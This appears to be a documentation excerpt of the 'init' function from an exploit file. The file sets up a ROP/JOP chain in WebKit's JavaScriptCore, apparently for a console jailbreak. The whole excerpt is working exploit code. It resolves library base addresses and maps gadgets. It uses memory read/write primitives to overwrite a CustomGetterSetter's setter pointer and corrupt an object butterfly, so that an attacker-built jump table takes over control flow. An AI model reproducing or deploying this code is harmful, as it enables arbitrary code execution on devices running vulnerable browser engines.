Function init

g2all/700/rop/750.js:208–263

(Chain)

export const Chain = Chain750;

export function init(Chain) {
  const syscall_array = [];
  [libwebkit_base, libkernel_base, libc_base] = get_bases();

  init_gadget_map(gadgets, webkit_gadget_offsets, libwebkit_base);
  init_gadget_map(gadgets, libc_gadget_offsets, libc_base);
  init_gadget_map(gadgets, libkernel_gadget_offsets, libkernel_base);
  init_syscall_array(syscall_array, libkernel_base, 300 * KB);

  let gs = Object.getOwnPropertyDescriptor(window, "location").set;
  // JSCustomGetterSetter.m_getterSetter
  gs = mem.addrof(gs).readp(0x28);

  // sizeof JSC::CustomGetterSetter
  const size_cgs = 0x18;
  const [gc_buf, gc_back] = mem.gc_alloc(size_cgs);
  mem.cpy(gc_buf, gs, size_cgs);
  // JSC::CustomGetterSetter.m_setter
  gc_buf.write64(0x10, get_gadget(gadgets, jop1));

  const proto = Chain.prototype;
  // _rop must have a descriptor initially in order for the structure to pass
  // setHasReadOnlyOrGetterSetterPropertiesExcludingProto() thus forcing a
  // call to JSObject::putInlineSlow(). putInlineSlow() is the code path that
  // checks for any descriptor to run
  //
  // the butterfly's indexing type must be something the GC won't inspect
  // like DoubleShape. it will be used to store the JOP table's pointer
  const _rop = {
    get launch() {
      throw Error("never call");
    },
    0: 1.1,
  };
  // replace .launch with the actual custom getter/setter
  mem.addrof(_rop).write64(off.js_inline_prop, gc_buf);
  proto._rop = _rop;

  // JOP table
  const rax_ptrs = new BufferView(0x100);
  const rax_ptrs_p = get_view_vector(rax_ptrs);
  proto._rax_ptrs = rax_ptrs;

  rax_ptrs.write64(0x70, get_gadget(gadgets, jop2));
  rax_ptrs.write64(0x30, get_gadget(gadgets, jop3));
  rax_ptrs.write64(0x40, get_gadget(gadgets, jop4));
  rax_ptrs.write64(0, get_gadget(gadgets, jop5));

  const jop_buffer_p = mem.addrof(_rop).readp(off.js_butterfly);
  jop_buffer_p.write64(0, rax_ptrs_p);

  const empty = {};
  proto._empty_cell = mem.addrof(empty).read64(off.js_cell);

  Chain.init_class(gadgets, syscall_array);
}